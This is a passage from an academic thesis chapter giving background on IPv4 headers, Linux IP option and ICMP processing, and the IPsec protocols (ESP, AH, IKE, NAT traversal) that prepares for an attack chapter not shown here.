The IHL (Internet Header Length) field is 4 bits long and has a value between 5 and 15. This field indicates the length of the header in 32-bit words. The typical value is 5, indicating that the header length is 20 bytes and no additional options bytes are present. If the IHL value is greater than 5, then additional options bytes are present after the main header, in the Options field. This field can be up to ten 32-bit words (40 bytes) in length and can be used to allow the header to carry additional instructions or information. It has a strict format; if the format is not followed, then IP implementations typically generate an ICMP Parameter Problem message which is routed to the host indicated in the Source Address field. For example, our experiments confirm that, upon receipt of a datagram with random bytes in the Options field, the implementation of IP in Linux generates an ICMP message with probability roughly 98.5%. We discuss ICMP in more detail below.

The Protocol field is 8 bits (1 byte) long and indicates which upper layer protocol is carried in the IP datagram payload. More than half of the 256 possible values are already
allocated to specific upper layer protocols [1]. The set of values that a host might place here when generating a datagram depends on that host’s configuration and the protocols it supports. A minimal set of supported protocols would include ICMP, TCP, UDP and one or two others. Most typical Internet traffic uses the first three of these. When an IP datagram reaches its intended destination host (as specified in the 32-bit Destination Address field), the protocol field is inspected. This value determines to which upper layer protocol the payload is passed. If the field contains a value corresponding to a protocol that is not supported at that host, then the local IP implementation should generate an ICMP Protocol Unreachable message. The protocol field is not usually inspected by intermediate routers.

The Header Checksum field is a 16-bit (2-byte) value that is formed by interpreting the header (including the Options field if present) as a sequence of 16-bit words and summing them using one’s complement arithmetic, and then taking the one’s complement of the result. The Header Checksum provides a verification that the information used in processing a datagram has been transmitted correctly. If the Header Checksum fails, the datagram is discarded silently by the entity which detects the error. This checksum is not, and was not designed to be, cryptographically robust.

Source and destination addresses are 32-bit fields that contain the IP addresses of the originating host of this datagram and the intended recipient host respectively. An IP address generally uniquely identifies a host on the Internet, but there are classes of addresses that are reserved for special uses such as broadcast, multicast, network identification and private (non publicly-routable) addressing [5, 171, 97]. Note also that a physical host can be identified by more than one IP address, in which case it is known as a multi-homed host. This is commonly the case for routers. IP addresses are normally represented in the dotted decimal notation where a 32-bit value is represented by four 8-bit values in decimal, each separated by a dot. An example of an IP address is 134.219.148.15, at which the Royal Holloway Information Security Group web server is hosted at the time of writing.

We have covered the IP header fields that are the most relevant to the material in this chapter and the next. For further details of all IP header fields, the reader should consult the original specification for the IP datagram was given in RFC 791 [169] and later updated by RFC 1122 [58]. The reader may also refer to Chapter 7 of [65] which provides an up-to-date treatment of the IP datagram and further references.

In order to understand our attacks in Chapter 6, it is important to reflect on the sequence of steps taken by IP when processing a datagram. In Linux, the sequence is as follows (where we omit any discussion of fragmentation for simplicity). First of all, basic checks are performed on the Version field and IHL field. The next action is to check the Header Checksum field. After this, a datagram length check is carried out using the Total Length field. The datagram is dropped if any of these checks fails. Next, options processing is carried out if the IHL field indicates that options are present. We detail options processing in Linux below, but we assume here that this is completed successfully. Now, a routing decision is made: either the datagram is delivered locally or is forwarded
5.2 Internet Protocol

to another host (if this host is configured for routing). In the former case the Protocol field is used to determine the upper layer protocol to which the datagram payload should be passed. If the Protocol field is one that is not supported, Linux discards the datagram and returns an ICMP message of type Protocol Unreachable to the source address. In the latter case, the TTL field is decremented and the datagram is forwarded to the next intermediate router upon consulting the routing table\(^1\) if the decremented TTL field is greater than zero. If it reaches zero, however, the datagram is discarded and an ICMP Time Exceeded message is sent to the source address.

We present our analysis of how IP options for inbound datagrams are processed by Linux. The relevant source code is located in the file net/ipv4/ip_options.c.\(^2\) Within this file, the function ip_options_compile() reads the sequence of option bytes, parses them and sets up data structures for any options present for further processing. As part of the routine, checks are also performed on the validity of the byte sequence. The main body of the function is a for loop over the length of the option bytes, and handles one option, which is variable in length, at each iteration of the loop. For each iteration, basic checks are performed for the length of the option, and then the option byte sequence itself is examined based on the Option Code, Option Length and any other fields present. If any field is found to be erroneous and prevents further processing of this datagram, the code goto error is executed and the program flow skips to the line labelled :error and exits the loop completely. At the label :error the function icmp_send() is called with parameter ICMP_PARAMETERPROB, which sends back to the source address an ICMP Parameter Problem message.

5.2.2 ICMP

Finally in this background section, we provide a brief overview of ICMP, the Internet Control Message Protocol. ICMP is a vital part of IP implementations, allowing network problems to be reported to Internet hosts, routes to be tested, and diagnostics to be performed. ICMP was originally specified in RFC 792 [168], and revised for Internet hosts in RFC 1122 [58] and routers in RFC 1812 [37]. The structure of an ICMP message varies according to its type. Chapter 10 of [65] covers all ICMP message types; Figure 5.2 shows the format of an ICMP Parameter Problem message.

ICMP messages can be generated by user programs such as ping (which produces ICMP Echo Reply messages), or they may be transmitted automatically by a host’s or router’s IP implementation in response to a problem encountered when a datagram is processed. For example, when a router receives a datagram with a TTL field of 1, it sends an ICMP Time Exceeded message to the originating host.\(^3\)

\(^1\)For simplicity we omit here discussions on “source routing” procedures, where a datagram contains information that determines its own route across intermediate routers.

\(^2\)The interested reader may access all current and historical Linux source code from web archives such as the Linux Cross Reference (LXR) [21]. The source file ip_options.c we examined here can be found at http://lxr.linux.no/linux-bk+v2.6.8.1/net/ipv4/ip_options.c

\(^3\)The traceroute program (tracert on Windows) uses this behaviour by sending out datagrams containing increasing TTL values to discover the series of routers that connects the source to the destination host.
5.3 IP Security

As exemplified in Figure 5.2, an ICMP error message includes the entire IP header of the offending datagram, together with a variable number of bytes of the datagram’s payload. According to RFC 792 [168], 8 bytes of payload should be included; this is, for example, how ICMP is implemented in Microsoft Windows 2000. On the other hand, according to the revised specification for routers RFC 1812 [37], the ICMP datagram should contain as much of the original datagram as possible without the length of the ICMP datagram exceeding 576 bytes. This is intended to aid fault diagnosis, and is how ICMP is implemented in the Linux kernel. The format of a typical ICMP datagram consists of the IP header (20 bytes), ICMP header (8 bytes) and the returned IP header (20 bytes). This leaves space in the datagram to carry up to 528 bytes of the original payload. RFC 1812 also specifies that ICMP implementations should be able to limit the rate at which ICMP messages will be generated, as an aid to preventing denial-of-service attacks.

Now we examine the ICMP implementation in Linux. The function `icmp_send()` in `net/ipv4/icmp.c` reveals that Linux does indeed include in an ICMP datagram as many payload bytes as possible from the inner datagram without the ICMP datagram itself exceeding 576 bytes, in accordance with [37]. The source code also shows that Linux implements mechanisms to restrict the rate at which ICMP messages are generated. It uses a *token bucket filter* algorithm implemented in the functions `icmpv4_xrlim_allow()` and `xrlim_allow()`, and the rate can be controlled while the system is running by the Linux `sysctl` (system control) command. These properties of ICMP as implemented in Linux are also confirmed by experiment, as we shall see in Chapter 6.

5.3 IP Security

IP itself does not provide any security services. Packets transmitted between hosts can easily be intercepted, their content inspected and modified without detection. As the Internet proliferated, it began carrying more and more business data as well as interpersonal communications. This has driven the demand for privacy and protection of

---

Other forms of ICMP error reporting of interest to us include the ICMP Parameter Problem message (error in IP options) and the ICMP Protocol Unreachable message (upper-layer protocol unsupported by end host)
5.3 IP Security

Sensitive information, and Internet security has become a major concern for governments, businesses and private users.

While security services, such as confidentiality, data origin authentication and integrity protection can be and, indeed, are afforded by higher layer protocols such as Transport Layer Security (TLS) [72], provision of security services in the Internet layer has a number of advantages:

**Transparency:** No re-engineering of any application software that uses IP is required to take advantage of the security services.

**Reduced key negotiation overhead:** Keys are generally derived on a per-host basis rather than per-application. Therefore fewer instances of computation-intensive key negotiation protocols need to be performed, compared to what would be needed at the transport or application layer.

**Virtual private networks:** Operating at the internet layer, IPsec is designed from the outset to implement Virtual Private Networks (VPNs) among other uses. Conceptually, a VPN securely and virtually connects two disparate networks over an insecure public network, and allows authorised remote hosts to securely connect to an internal network. While it is also possible and practical to implement a VPN at a higher layer using SSL/TLS\(^4\), it is an architecturally inelegant solution. As a user-space process, an SSL VPN require a significant amount of user- and kernel-space interactions in comparison to kernel-based IPsec. Operating at the transport layer also means that more protocol unravelling is involved for SSL VPN datagrams than for the IPsec counterparts, which leads to comparatively higher computational costs and a higher rate of message expansion. For these reasons IPsec VPNs are arguably more suited for large scale deployments.

IP Security (IPsec\(^5\)) provides a flexible suite of standards and protocols for adding security to IP. The IPsec standards are now in their third generation and are defined principally in RFCs numbered 4301-4309, published in 2005. Although officially obsoleted, most current IPsec deployments are based on the second generation protocols, defined in RFCs 2401-2412, published in 1998. The first generation IPsec protocols were published in 1995 in RFCs 1825-1829, and are rarely in use. IPsec protocols (arguably with the exception of IKE) are not officially versioned, but for convenience we shall refer to the IPsec generations informally as versions 1, 2 and 3. Later IPsec versions are largely backward-compatible with earlier ones. The text to follow is mostly based on the second generation IPsec standards, and we shall highlight relevant differences to the other two generations of protocols where needed. For a more comprehensive overview, [161] provides a detailed guide to the evolution of the use of cryptography in IPsec standards.

\(^4\)One such implementation is the open-source OpenVPN available from [http://www.openvpn.net](http://www.openvpn.net). Note that there are other so-called SSL VPN solutions on the market that are in essence SSL-secured web proxies for specific applications rather than bona fide VPNs as network extensions.

\(^5\)Also abbreviated variously as IPSec or IPSEC
5.3 IP Security

A range of security services are provided by IPsec, and remain unchanged for the most part between the second and third generations of IPsec. The current version of the IPsec architecture document [112] states:

“The set of security services offered includes access control, connectionless integrity, data origin authentication, detection and rejection of replays (a form of partial sequence integrity), confidentiality (via encryption), and limited traffic flow confidentiality. These services are provided at the IP layer, offering protection in a standard fashion for all protocols that may be carried over IP (including IP itself).”

In addition, IPsec supports automated cryptographic algorithm negotiation and key management between IPsec hosts or gateways. The access control mechanisms integral to IPsec also provide minimal firewall functionality.

We present below an overview of the architecture and the main protocols of IPsec.

5.3.1 IPsec Architecture

The architecture for IPsec is most currently defined in RFC 4301 [112] which obsoletes version 2 of the document, RFC 2401 [107]. The document describes the main components of IPsec, their purposes, and how they are related to each other. IPsec provides data origin authentication and integrity protection (together referred to as authentication in the IPsec terminology) and/or confidentiality services for individual IP datagrams in the internet layer data through Authentication Header (AH) and Encapsulating Security Payload (ESP) protocols. Through these two protocols, anti-replay and limited traffic flow confidentiality are also supported. IPsec policies are used to define rules for network access control and basic firewalling capabilities. The Internet Key Exchange (IKE) protocol enables two IPsec hosts to negotiate cryptographic algorithms and associated keys used to protect bulk user traffic.

5.3.1.1 IPsec Modes

The IPsec protocols can be deployed in two basic modes: transport and tunnel. Transport mode offers cryptographic protection for the upper layer protocol by cryptographically protecting the payload and parts of the header of an IP datagram. In transport mode, both source and destination hosts must be IPsec-aware.

In tunnel mode protection is provided for an entire IP datagram. In essence, the whole IP datagram to be protected undergoes a cryptographic transform before being inserted as the payload of a new datagram, known as an outer datagram. The outer datagram has its own header, called the outer header. The original, or inner, IP datagram is said to be encapsulated within the outer IP datagram. In tunnel mode, IPsec processing is typically performed at security gateways on behalf of endpoint hosts, as in the case of a VPN. The gateways could be perimeter firewalls or routers. The use of gateways means that hosts need not be IPsec-aware, but that security is provided from gateway-to-gateway.
rather than in an end-to-end fashion. In other words, an IPsec gateway creates a boundary between a protected and an unprotected network interface.

5.3.1.2 Security Associations and Security Policies

For each establishment of a security service between two IPsec hosts, Security Associations (SAs) are created. SAs are stored in the Security Association Database (SAD, sometimes SADB) on IPsec hosts. An SA contains information for processing IP packets by IPsec in one direction. Therefore, for an instance of a confidentiality service between two peers, one SA is created for outbound processing and one for inbound at each peer. Each SA has a unique 32-bit Security Parameter Index (SPI) and contains, among other parameters, source and destination IP addresses, IPsec protocol (ESP or AH), and a cryptographic key (for encryption, decryption or MAC computation). (Full lists of parameters are specified in [107, Section 4.4.3] and [112, Section 4.4.2.1].) SAs are created either manually or negotiated via IKE.

Each outbound packet is mapped onto a security policy in the Security Policy Database (SPD) to determine how it should be processed. The granularity of the packet-to-policy mapping is made flexible through the use of selector combinations. Defined selectors include source and destination IP addresses, next layer protocol and port number. A selector may be specified to match a single value, any value (wildcard) or, for IP addresses, a range. The outcome of an SPD consultation is either discard (drop the packet), bypass (forward the packet without any protection), or protect (apply IPsec protection before forwarding). On matches indicating “protect”, the packet is then processed (usually encrypted and/or integrity protected) by IPsec according to an SAD entry pointed to by the SPD, or in the absence of an established SA, IKE (if configured) is invoked to establish the necessary SA(s) before any packet is processed and then transmitted. In RFC 2401 [107], an SPD entry may specify that a matching packet be processed through an ordered sequence of SAs or an SA bundle which enables SA combinations that are adjacent (two SA protections at same endpoint) and iterative (one SA endpoint after another). However, support for SA bundles is dropped in RFC 4301, which instead achieves equivalent settings using a “forwarding table configuration” in the SPD.

An inbound IPsec packet can be identified by the values representing ESP or AH in its Protocol header field. When an IPsec packet arrives, IPsec looks for any established security associations in the SAD indexed by the SPI field in the packet’s ESP or AH header (which is in plaintext). The packet then undergoes the series of ESP and/or AH processing (decryption and/or verification) according to the matched SAs. If successful this yields either an IP payload (transport mode) or an inner IP packet (tunnel mode). Very importantly, IPsec should next check whether the SAs applied to the packet are consistent with the SPD entries and packet (inner packet if tunnel mode) selector fields. These policy checks ensure that all packets passed to the IP layer have been protected (or not) consistent with the IPsec policies. Failure to match an SA with the SPI or in policy
5.3 IP Security

checks will cause the IPsec packet to be discarded and is an auditable event.\(^6\)

The latest version of the IPsec architecture as defined in RFC 4301 [112] allows even more flexibility in specifying security policies than in the previous version in RFC 2401 [107] by allowing ICMP message type and code as well as Mobility Header type as selectors. RFC 4301 also introduces the SPD cache construct, but drops the requirement to support SA bundles as mentioned above. We omit the details as well as discussions of other differences between the versions.

5.3.2 ESP

The development of our attacks in Chapter 6 is based on the second version ESP protocol as defined in RFC 2406 [111], but the attacks should apply to the ESP version 3 as specified in RFC 4303 [109]. The ESP protocol inserts into an IP packet an ESP header before the protected payload and an ESP trailer after. The ESP format is laid out in Figure 5.3. ESP can be used in tunnel or transport mode, and provides confidentiality and integrity protection services.

```
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-----------------------------------------------+------
| Security Parameters Index (SPI) | ^Auth. |
+-----------------------------------------------+------
| Sequence Number | Cov- |
+-----------------------------------------------+------
| Payload Data* (variable) | | ---- |
| | | Conf. |
| +-----------------------------------------------+------
| Padding (0-255 bytes) | Cov- |
| +--------------------------|------
| Pad Length | Next Header | v v |
| +-----------------------------------------------+------
| Authentication Data (variable) | | ---- |
| | | |
+-----------------------------------------------+------
```

Figure 5.3: ESP header and trailer from RFC 2406 [111]

We next outline the functions of each field in the ESP protocol.

**SPI** The 32-bit SPI field uniquely identifies an SA entry at an IPsec endpoint.

**Sequence Number** The Sequence Number is an unencrypted 32-bit field inserted by the originating IPsec endpoint. It is initialised to 0 during SA establishment and

\(^6\)Although it is explicitly stated in Section 9 of RFC 4301 that IPsec implementations are not required to support auditing.
incremented by 1 each time the SA indicated by the SPI is used to protect a packet. When ESP authentication is used, it allows detection of duplicate packets and replay attacks, and is ignored otherwise.

**Payload Data** The datagram bytes protected by ESP are situated at the Payload Data field. For transport mode ESP, this field typically contains encrypted TCP or UDP data, whereas in tunnel mode, it carries the encrypted inner datagram. For a number of ESP CBC mode encryption standards [82, 129, 167], the IV is also contained within this field.

**Padding** Bytes are inserted into the padding field in order to align the data to be encrypted to a 4-byte boundary, and, if the encryption algorithm requires, to a boundary at a multiple of its block size. IPsec allows up to 255 padded bytes to be added.

**Pad Length and Next Header** The 1-byte Pad Length field indicates the number of bytes that have been inserted into the padding field. The Next Header field is also one byte in length. It tells the IPsec and IP software the type of data the payload contains. These two fields are the last two bytes in the encryption scope.

**Authentication Data** If ESP is configured to use authentication, authentication data such as a MAC appears at the end of the ESP packet. The size of this field depends on the algorithm used, and is as defined by the relevant RFC. Using HMAC-SHA1 as defined in RFC 2404 [131], for example, the authentication data will occupy 96 bits, or 12 bytes. If encryption-only ESP is used, this field will be omitted from the ESP trailer.

ESP is normally invoked to provide confidentiality, and usually makes use of a block cipher algorithm operating in CBC mode. Block ciphers in counter mode [94] and dedicated stream ciphers may also be used. In transport mode ESP, only the payload of the original IP datagram is encrypted, whereas in tunnel mode, the entire IP datagram is encrypted and forms part of the payload of the outer IP datagram. The use in ESP of a variety of block ciphers has been specified, including DES [129], triple-DES [167] and AES [82]. Since encryption in ESP is optional, the nominal NULL encryption algorithm [87] is used where confidentiality is not required.

ESP may also be configured to provide integrity protection, data origin authentication and anti-replay services through the application of a MAC algorithm. Several keyed hash algorithms have been defined for this purpose, including HMAC-MD5 [130], HMAC-SHA1 [131], HMAC-RIPEMD [113] and AES-XCBC-MAC [83]. The scope of ESP encryption and integrity protection in both tunnel and transport mode are illustrated in Figure 5.4.

Here we describe the use of CBC mode in tunnel mode ESP in more detail as specified in [82, 129]. Firstly, the original (inner) datagram that is to be protected is treated as a sequence of bytes. This sequence is concatenated with a particular pattern of padding bytes, followed by the Pad Length and Next Header bytes. The default padding byte pattern consists of ascending single byte values 01, 02… etc. such that the total number
Before applying ESP in transport mode:

+-----------------+------------+
| orig IP | orig |
| header | payload |
+-----------------+------------+

After applying ESP in transport mode:

+-----------------+-----+------------+---------+------+
| orig IP | ESP | orig | ESP | ESP |
| header | Hdr | payload | trailer | auth |
+-----------------+-----+------------+---------+------+

|<----- encrypted ---->|
|<------ authenticated ---->|

Before applying ESP in tunnel mode:

+----------+----------+
| inner | inner |
| IP hdr | payload |
+----------+----------+

After applying ESP in tunnel mode:

+-----------------+-----+---------+----------+---------+------+
| outer | ESP | inner | inner | ESP | ESP |
| IP hdr | hdr | IP hdr | payload | trailer | auth |
+-----------------+-----+---------+----------+---------+------+

|<-------- encrypted -------->|
|<-------- authenticated ---------->|

Figure 5.4: ESP packet structure from RFC 2406 [111]

of bytes in the whole sequence, including Pad Length and Next Header bytes, is a multiple of the number of bytes in a block of the encryption algorithm (for example, 8 for 64-bit DES and 16 for 128-bit AES) and ends on a 4-byte boundary. It is permissable for the padding to be of variable length and to extend over multiple blocks. This might aid in preventing traffic analysis.

Let us assume that the byte sequence after padding consists of \( q \) blocks, each of \( n \) bits (where \( n = 64 \) for DES and \( n = 128 \) for AES, for example). We denote these blocks by \( P_1, P_2, \ldots, P_q \). We use \( K \) to denote the key used for the block cipher algorithm and \( e_K(\cdot) \) \((d_K(\cdot))\) to denote encryption (decryption) of blocks using key \( K \), respectively. Then CBC mode encryption in IPsec, as defined in standards such as [129, 82], commonly proceeds as follows. First of all, an \( n \)-bit initialisation vector, denoted \( IV \), is selected at random.
Then ciphertext blocks are generated according to the equations:

\[ C_0 = IV, \quad C_i = e_K(C_{i-1} \oplus P_i), \quad (1 \leq i \leq q). \]

The encrypted portion of the outer datagram is then defined to be the sequence of \( q + 1 \) blocks \( C_0, C_1, \ldots, C_q \).

At the receiving security gateway (which is also in possession of the key \( K \)), the payload of the outer datagram can be recovered using the equations:

\[ P_i = C_{i-1} \oplus d_K(C_i), \quad (1 \leq i \leq q). \]

Any padding and the next header byte can then be stripped off, revealing the original inner datagram. At this point, Section 5.2 of [107] mandates that implementations should check that any cryptographic processing performed to recover and verify this datagram does in fact match that specified in the local SPD (see Section 5.3.1 above). However, these checks are not specified in the ESP RFC [111]. In the Linux kernel and evidently FreeS/WAN and Sun Solaris [138] implementations of IPsec, this inner datagram is then passed directly to the IP software without any checks being carried out. In the case of an IPsec gateway running tunnel mode ESP, the IP software will then route the inner datagram to the intended destination specified in the destination address of the inner datagram.

### 5.3.3 Evolution of ESP

We give below a brief overview of the most significant changes across the three generations of the ESP protocol [36, 111, 109]. The evolution in the use of cryptography in IPsec provides a context to our attacks in Chapter 6 and gives an insight into gulf between cryptography in theory and practice. This chapter and Chapter 6 relate how a security standard evolves in response to results from theoretical research, and yet a practical path of significant attack may still exist in the latest generation of the standard.

The IETF IPsec Working Group took a modular approach in drafting the IPsec standards. For example, the ESP and AH protocols do not specify algorithms to be used with them. Instead, each algorithm for use with IPsec is described in its own RFC. The intention is that as cryptography research advances, new algorithms can be incorporated into IPsec by new RFCs without revising the core standards. To ensure interoperability, IPsec mandates implementations to support a minimal set of algorithms. ESP versions 1 [36] and 2 [111] requires support for DES-CBC as specified in references [104, 129] respectively. However, the algorithm requirements document for third generation IPsec RFC 4305 [78] has demoted the status of DES-CBC from “MUST” to “SHOULD NOT” in ESP, following NIST’s intention to withdraw the Data Encryption Standard [181] in 2004 (completed in 2005 [182]). This leaves TripleDES-CBC as the only compulsory algorithm for ESP with a status of “MUST-”, hinting at its future relegation to a lower status. On the other hand, the more recently introduced AES-CBC and AES-CTR algorithms are
assigned “SHOULD+” (to be promoted in future) and “SHOULD” ratings respectively.\footnote{Indeed, in RFC 4835 \cite{rfc4835}, which obsoletes RFC 4305 \cite{rfc4305}, the AES-CBC algorithm is up-rated as a “MUST” and support for the NULL authentication method is designated a “MAY”, making explicit the optional support for encryption-only configurations.} The formal meanings of these ratings are defined in RFC 2119 \cite{rfc2119} and RFC 4305 \cite{rfc4305}.

We next discuss integrity protection as used in ESP. The first generation of ESP \cite{esp1} did not include integrity protection services. Instead these were afforded by the AH protocol independently. Bellovin’s work \cite{bellovin96} demonstrated potential attacks that allow plaintext recovery when ESP was used without integrity protection. The attacks motivated the IPsec committee to adopt integrity protection in the ESP specification. This offers better performance than combined protection by ESP and AH separately. (Note that, however, the scope of integrity protection in ESP is narrower than that in AH.) This presumably encourages users to migrate to combined confidentiality and integrity protected configurations. Still, ESP version 2 \cite{esp2} did not remove support for encryption-only configurations — in fact it is still required. Instead, a warning is placed in Section 1 of \cite{esp2}, citing Bellovin’s work (reference \cite{bel96} in the quote below):

“…use of confidentiality without integrity/authentication (either in ESP or separately in AH) may subject traffic to certain forms of active attacks that could undermine the confidentiality service (see \cite{bel96}). . . .”

Version 3 of ESP \cite{esp3} still allows encryption-only ESP, but has downgraded its necessity from a “MUST” to “MAY”. It seems that the benefits in retaining backward-compatibility outweigh the potential security risks of not using integrity protection. The standard does have similar warnings to those in \cite{esp2} in place, and also argues that encryption-only ESP “may offer considerably better performance and still provide adequate security, e.g., when higher-layer authentication/integrity protection is offered independently”. We shall present our results in Chapter 6 demonstrating that provision of integrity protection at a higher layer can be woefully inadequate, and may lead to a complete loss of confidentiality.

ESP version 2 implementations must support NULL, HMAC-SHA1-96 and HMAC-MD5-96 integrity protection algorithms. The same algorithms are carried over to version 3, with the status of HMAC-MD5-96 being dropped from a “MUST” to a “MAY”\footnote{The reason is given in a note in \cite{rfc4305} which reads “weaknesses have become apparent in MD5. . . .” A similar statement can be found for SHA-1 in an Internet draft \cite{sha1草案} to update \cite{rfc4305} in the wake of recent advances in cryptanalysis on SHA-1 \cite{sha1攻破1, sha1攻破2}, although support for HMAC-SHA1-96 remains a “MUST” in that draft. RFC 4270 \cite{rfc4270} provides a summary of how the recent attacks on hash functions impact on security protocols. The differing views held by the authors of \cite[Section 6]{rfc4270} demonstrate the facet of security as an art form in which personal opinions and judgements play an inextricable part.}, and the AES-XCBC-MAC-96 algorithm is introduced with a “SHOULD+” rating.

Using combined mode algorithms for single-algorithm confidentiality and integrity protection is a new feature in ESP version 3. In general terms, combined mode algorithms offer better performance than separate encryption and MAC algorithms. RFC 4303 describes how combined mode algorithms are handled in ESP only in general terms in order to accommodate a range of algorithm designs. In particular, RFC 4303 allows the use of those combined mode algorithms that have AEAD properties (see Section 2.6) and those
that do not. As with encryption and integrity protection algorithms, a separate RFC is needed to specify the details of how any particular combined mode algorithm is used in ESP. These details include the format and requirements for IV and padding, the need for replication of SPI and Sequence Number fields in the payload data and the inclusion and transmission of ICV and padding fields. Although [78] does not include any official recommendations on any particular combined mode algorithm, the AES in CCM mode [197], defined for use with ESP in [95], seems to be favoured by the IPsec standardisation committee for future inclusion. AES-CCM makes use of AES in counter mode and CBC-MAC computation, and is believed to be free of patent issues. It been adopted by the 802.11i wireless security standard [98] (also known as WPA2). 9

Traffic flow confidentiality (TFC) protection has been enhanced in ESP version 3. ESP in RFC 2406 already allows up to 255 bytes of padding to hide the size of packets. ESP as defined in RFC 4303 introduces additional padding, known as TFC padding, that can be optionally inserted between ESP payload data and ESP padding to provide further protection from traffic analysis. RFC 4303 also defines a means to generate spurious traffic; such “dummy packets” are indicated by the value 59 in the Next Header field, and the packets are to be discarded upon receipt.

While ESP version 2 uses 32-bit sequence numbers, ESP version 3 includes support for 64-bit Extended Sequence Numbers (ESNs). ESNs are suitable for high-throughput networks where 32-bit counters might periodically overflow and result in frequent renegotiation of SAs. Such overheads are significantly reduced by using 64-bit ESNs. When an ESN is used, the whole 64-bit counter is included MAC calculations, but only the least significant 32 bits of the counter are transmitted in the Sequence Number field.

### 5.3.4 AH

The AH protocol, like ESP, provides integrity protection, data origin authentication and anti-replay services. Unlike ESP, however, it does not provide confidentiality services. Version 2 of AH is defined in RFC 2402 [110], and Figure 5.5 shows the header format as specified in the RFC. The latest specification for the AH protocol is RFC 4302 [108].

AH can be used in either transport and tunnel mode in a manner similar to ESP. In either mode, AH has a more comprehensive authentication coverage than ESP authentication. In transport mode, AH protects the whole original IP datagram including all header fields that are not altered by intermediate routers in transit, collectively known as immutable fields in TCP/IP terminology. In tunnel mode, AH authentication covers the whole inner datagram as well as all immutable fields in the outer header. The authentication coverage and the placement of the AH protocol header are shown in Figure 5.6.

Mutable fields in the IP header include Type of Service, Fragmentation, Time-to-Live

---

9Despite its adoption by several standardisation bodies, the design of CCM mode is not without its share of criticisms, most notably by Rogaway (inventor of the OCB combined mode of operation [123]) and Wagner [176].
5.3 IP Security

![Figure 5.5: AH protocol header from RFC 2402 [110]](image)

and Header Checksum fields; all other fields are immutable and integrity protected by AH. Mutable fields are treated as having zero values for the computation of AH’s integrity check value. The computed value is placed in the Authentication Data field within the header as shown in Figure 5.5.

5.3.4.1 AH’s Future

Inclusion of integrity protection in ESP means that security provided by AH is largely covered by ESP. For this reason, support for the AH protocol in implementations has been downgraded in RFC 4301 [112], which states in Section 3.2:

“Support for AH has been downgraded to MAY because experience has shown that there are very few contexts in which ESP cannot provide the requisite security services. Note that ESP can be used to provide only integrity, without confidentiality, making it comparable to AH in most contexts”

In fact, AH’s continued existence in IPsec was questioned back in 1999 by Ferguson and Schneier [80]. One might expect AH’s further demise in the future.

5.3.5 Internet Key Exchange Protocols: IKE and IKEv2

SAs and their parameters such as encryption keys can be established manually, which is fine for simple IPsec configurations with few SAs. However it is often more convenient to use one of the Internet Key Exchange protocols for automated SA negotiation, especially in configurations where many keys are needed in combinations and nestings of modes (tunnel and transport) and protocols (ESP and AH). IKE is defined in RFC 2409 [91], and the next version of IKE, IKEv2, was published as RFC 4306 [106].

IKE enables secure creation of SAs by firstly authenticating participating IPsec peers, and then establishing a fresh, shared secret. The secret is used to derive further keys
5.3 IP Security

Before applying AH in transport mode:

```
+-----------+------------+
| orig IP   | orig       |
| header    | payload    |
+-----------+------------+
```

After applying AH in transport mode:

```
+-----------+-----+------------+
| orig IP   | AH  | orig       |
| header    | Hdr | payload    |
+-----------+-----+------------+
|<-------- authenticated ------>|
```

Before applying AH in tunnel mode:

```
+---------+----------+
| inner   | inner    |
| IP hdr  | payload  |
+---------+----------+
```

After applying AH in tunnel mode:

```
+----------+-----+---------+----------+
| outer    | AH  | inner   | inner    |
| IP hdr   | hdr | IP hdr  | payload  |
+----------+-----+---------+----------+
|<-------- authenticated ---------->|
```

Figure 5.6: AH packet structure from RFC 2402 [110].

to secure IKE exchanges and generate keys for IPsec SAs. To protect IKE exchanges flexibly, IKE supports negotiation of security parameters including authentication method, encryption and hash algorithms and Diffie-Hellman group — referred to collectively as a protection suite. IKE also provides some protection against denial of service attacks and options for perfect forward secrecy, deniable authentication and identity protection.

IKE itself is a hybrid of two protocols, Oakley [158] and SKEME [119], and operates within the framework of yet another standard developed by the NSA, known as the Internet Security Association and Key Management Protocol (ISAKMP) [136]. There are two phases in an IKE exchange. Phase one establishes an IKE SA, which in effect defines a secure channel. Phase one proceeds in either main mode or aggressive mode with different complexity and security properties, but use of either mode yields the same result. The IKE SA established in phase one protects phase two exchanges, for which only one mode exists, known as quick mode. A run of a phase two exchange can generate multiple IPsec
SAs, and many such runs can take place under the protection of the same IKE SA to negotiate multiple IPsec SAs. Quick mode provides the option of perfect forward secrecy with additional Diffie-Hellman exchanges.

IKEv2 succeeds IKE’s role in providing key management for IPsec. IKEv2, now defined in a single self-contained document [106], is intended to produce a cleaner and simpler protocol that is easier to understand. It also fixes a few cryptographic weaknesses and adds support for use with the Network Address Translation protocol. A comprehensive list of differences between IKE and IKEv2 can be found in Appendix A of [106].

### 5.3.6 Other IPsec Features

We discuss below a selection of standards and protocols that are not part of the core IPsec standards or which have yet to be ratified, but nonetheless have their practical value when used in conjunction with IPsec. A list of IPsec-related RFCs and Internet Drafts can be found on the VPN Consortium website [26].

#### 5.3.6.1 NAT Traversal

Network Address Translation (or Translator) (NAT), consisting of the NAT and Network Address Port Translation (NAPT) protocols, is a popular method for enabling Internet access through a firewall or router. The latest specification for NAT is RFC 3022 [187]. NAT and NAPT work principally by translating (rewriting) Source and Destination Addresses and the Checksum in the IP header, as well as TCP/UDP Port and Checksum fields in the case of NAPT. It is also necessary for a NAT device to maintain the correspondences between translated fields for all inbound and outbound traffic. The use of NAT became a popular method to tackle the IPv4 address shortage problem.10 For home users, NAT is commonly supported by hardware routers to share a broadband Internet connection through a single public IP address. With assignment of private IP addresses [171] to end hosts, NAT is also seen as a way to mitigate threats of direct external attacks to internal hosts.

However, the need for NAT to modify header fields is inherently incompatible with IPsec protocols as it violates integrity protection offered by AH, is inoperable with ESP-encrypted TCP and UDP payloads, and causes identifier mismatch errors in IKE. A comprehensive review of IPsec and NAT compatibility issues is given in RFC 3715 [32]. To overcome these incompatibilities and encourage IPsec adoption, the NAT Traversal (NAT-T) protocol was developed. NAT-T, specified in RFCs 3947 and 3948 [114, 96], is defined for use of ESP (in both transport and tunnel mode) and IKE behind a NAT device. Conceptually, NAT-T encapsulates an ESP packet within a UDP header, allowing multiplexing and demultiplexing of IPsec packets using UDP ports. The IKE protocol is extended to facilitate NAT detection, NAT-T negotiation and original address (NAT-OA payload) exchange. NAT-T has seen increasing community and vendor support; NAT-T

---

10While some have previously expressed sceptical views on the IPv4 address shortage issue [128], the latest predictions forecast IPv4 address exhaustion as early as the year 2011 [7].
